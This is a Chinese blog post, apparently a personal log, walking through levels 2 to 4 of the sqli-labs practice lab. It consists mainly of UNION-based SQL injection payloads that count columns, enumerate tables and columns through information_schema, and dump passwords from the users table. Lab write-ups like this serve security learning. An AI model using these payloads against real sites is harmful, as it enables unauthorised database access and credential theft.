记录自己在sqli-labs做题记录

进行第二关:

id=1 and 1=1回显正常 id=1 and1=2回显错误(判断为整形)

用order by语句爆出字段数------4出现错误,字段数为3

?id=1 order by 4

用union select 语句判断回显点

?id=-1 union select 1,2,3

爆出数据库

?id=-1 union select 1,2,database()

爆出所有表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

爆出所有字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'

大家也可以根据特定的表名进行查询,看的比较清晰,如下

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

爆出所需要的信息了

?id=-1 union select 1,2,group_concat(password) from users

第二关就结束啦,跟第一关类似,注入过程不变,只是参数注入类型发生改变

第三关

开始注入,判断参数注入类型

?id=1’) and 1=1--+回显正常?id=1’) and 1=2--+回显错误 判断为')型

接着用order by 语句猜解字段数---发现4错误,字段数为3

?id=1') oder by 4

用 union select 语句判断回显点

?id=-1') union select 1,2,3

爆出数据库

?id=-1') union select 1,2,database()--+

爆出所有表名

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出所有字段名

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'--+

爆出所需要的数据

?id=-1') union select 1,2,group_concat(password) from users--+

第三关也结束啦,参数注入类型也发生改变,但是注入过程是不变的

第四关

参数注入类型发生改变

?id=1") and 1=1回显正常?id=1") and 1=2回显错误-----注入类型为")型

使用order by 语句猜解字段数---4出现错误,字段数为3

使用union select 判断回显点

?id=-1") union select 1,2,3--+

爆出数据库

?id=-1") union select 1,2,database()--+

爆出所有表名

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出所有字段名

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'--+

爆出所需要的信息

?id=-1") union select 1,2,group_concat(password) from users--+

第四关到这里就结束啦,还是跟上面一样,只是参数注入类型发生改变

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值